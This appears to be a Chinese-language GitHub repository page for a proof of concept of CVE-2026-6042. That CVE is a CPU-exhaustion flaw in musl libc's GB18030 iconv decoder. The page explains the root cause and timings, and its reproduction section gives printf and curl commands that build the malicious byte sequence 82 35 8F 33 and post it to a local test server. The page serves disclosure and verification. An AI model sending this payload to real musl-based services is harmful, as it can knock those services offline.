jensnesten/CVE-2026-6042-PoC

GitHub: jensnesten/CVE-2026-6042-PoC

该项目提供一个针对 musl libc GB18030 编解码算法复杂度拒绝服务的 PoC 与端到端测试。

Stars: 0 | Forks: 0

# CVE-2026-6042:musl libc `iconv` 中的算法复杂度拒绝服务 musl 的 `iconv` GB18030 4 字节解码器中的跳gap循环允许小型恶意输入消耗不成比例的 CPU 时间。40 KB 的恶意负载可占用一个 CPU 核心超过 40 分钟。 - **安全公告**: - **NVD**: 与安全公告所述相反,此攻击向量是网络而非本地。这源于 VulDB 并未真正理解其所分配的安全漏洞。 CVSS 3.1 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5(高危) ## 概述 | 字段 | 详情 | |---|---| | **受影响的软件** | musl libc(`iconv` 实现) | | **受影响的编码** | GB18030(4 字节序列) | | **类型** | 算法复杂度 / 拒绝服务 | | **确认版本** | musl 1.2.5(Alpine 3.21),musl 1.2.6(从源码构建) | | **很可能受影响** | 自引入 GB18030 和 UHC/CP949 支持以来的所有 musl 版本 | | **攻击面** | 任何对不可信输入调用 `iconv()` 并使用这些编码的基于 musl 的服务 | ## 根本原因 musl 中(`src/locale/iconv.c`,约 434–442 行)的 GB18030 4 字节解码器将 4 字节输入序列转换为线性索引,然后通过跳gap循环将该索引映射到 Unicode 码点。对于每个解码字符,内部循环会遍历整个 `gb18030[126][190]` 表(23,940 个条目),以统计落在滑动范围内的 2 字节映射码点数量。 字节序列 `82 35 8F 33` 产生线性索引 19,171,该索引落在稠密 CJK 统一表意汉字范围(U+4E00-U+9FBD,约 20,902 个条目)之前。因此,跳gap循环必须逐个遍历整个稠密块,执行约 20,905 次外层迭代,每次迭代扫描全部 23,940 个表条目。这大约相当于 **每个输入字符 5 亿次比较**。 由于成本随输入中恶意字符数量线性增长,且每个字符独立触发完整内部循环,总工作量约为 `O(n * k^2)`,其中 `n` 是输入字符数,`k` 是查找表大小。 ## 影响 任何运行通过 `iconv()` 对用户输入进行 GB18030 或 EUC-KR 转码的基于 musl 的系统(Alpine Linux、Void Linux、postmarketOS、嵌入式/容器镜像等)都可能遭受拒绝服务。 在单核上的预估时间(在 Alpine 3.21 / musl 1.2.5 上测量): | 输入 | 时间 | |---|---| | 1 个恶意字符(4 字节) | ~0.26 秒 | | 100 个字符(400 字节) | ~26 秒 | | 1,000 个字符(4 KB) | ~4.3 分钟 | | 10,000 个字符(40 KB) | ~43 分钟 | 相比之下,100 个正常的 GB18030 字符在微秒级完成解码。 ## 仓库内容 | 文件 | 描述 | |---|---| | `poc_gb18030_dos.c` | 独立 PoC:通过 `iconv()` 对比正常与恶意 GB18030 解码的耗时 | | `server.c` | 最小 HTTP 服务器,通过 `iconv()` 转码 POST 主体,模拟真实攻击面 | | `Dockerfile` | 构建并运行易受攻击服务器的 Alpine Linux 容器镜像 | | `test.sh` | 端到端测试脚本:向服务器发送正常与恶意负载并比较响应时间 | ## 复现 ### 1. 独立 PoC(直接 `iconv` 计时) 在任何基于 musl 的系统上构建并运行: ``` # 在 Alpine Linux 上 apk add gcc musl-dev gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c ./poc_gb18030_dos ``` 或通过 Docker: ``` docker run --rm -v "$(pwd)":/work -w /work alpine:latest \ sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos" ``` 预期输出:正常字符解码在微秒级;单个恶意字符(`82 35 8F 33`)耗时约 0.26 秒。 ### 2. 端到端(Docker 中的 HTTP 服务器) 构建并启动易受攻击服务器: ``` docker build -t cve-2026-6042 . docker run --rm -p 8080:8080 cve-2026-6042 ``` 在另一个终端运行测试框架: ``` ./test.sh ``` 或手动发送负载: ``` # 良性:100 个字符,应立即返回 printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin curl -X POST -H "Content-Type: text/plain; charset=gb18030" \ --data-binary @/tmp/benign.bin http://localhost:8080/ # 对抗性:仅 5 个字符,应耗时 >1 秒 printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin curl -X POST -H "Content-Type: text/plain; charset=gb18030" \ --data-binary @/tmp/adversarial.bin http://localhost:8080/ ``` `X-Transcode-Time` 响应头报告 `iconv()` 内部所花费的时间。 ### 端到端演示 下图展示了恶意输入与 Docker 服务器之间的线性扩展关系:20 个字符(80 字节)耗时约 5.2 秒,80 个字符(320 字节)耗时约 20.8 秒,160 个字符(640 字节)耗时约 41.5 秒。 ![端到端 DoS 演示](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/629dbf5aba235706.png) ## 关键字节序列 | 序列 | 线性索引 | 行为 | |---|---|---| | `81 30 81 30`(正常) | 128 | 低码点;跳gap 循环快速终止 | | `82 35 8F 33`(恶意) | 19,171 | 落在稠密 CJK 块之前;触发约 5 亿次比较 | | `82 35 90 30`(恶意) | ~19,200 | 同一区域,相似成本 | ## 免责声明 本仓库发布用于安全研究与负责任披露。代码仅供复现和验证 CVE-2026-6042 使用。请勿在未拥有或未经明确授权测试的系统上使用。
标签:4字节解码器, Algorithmic Complexity DoS, API密钥检测, CPU耗尽, CVE-2026-6042, CVSS 7.5, C语言安全, DoS, gap-skipping loops, GB18030, iconv, musl libc, NVD, OpenWall, PoC, Unicode, 内存安全, 安全漏洞, 客户端加密, 开放策略代理, 拒绝服务, 攻击面, 暴力破解, 服务安全, 漏洞分析, 端对端测试, 编码转换漏洞, 编程工具, 请求拦截, 路径探测, 输入验证, 远程代码执行, 高危漏洞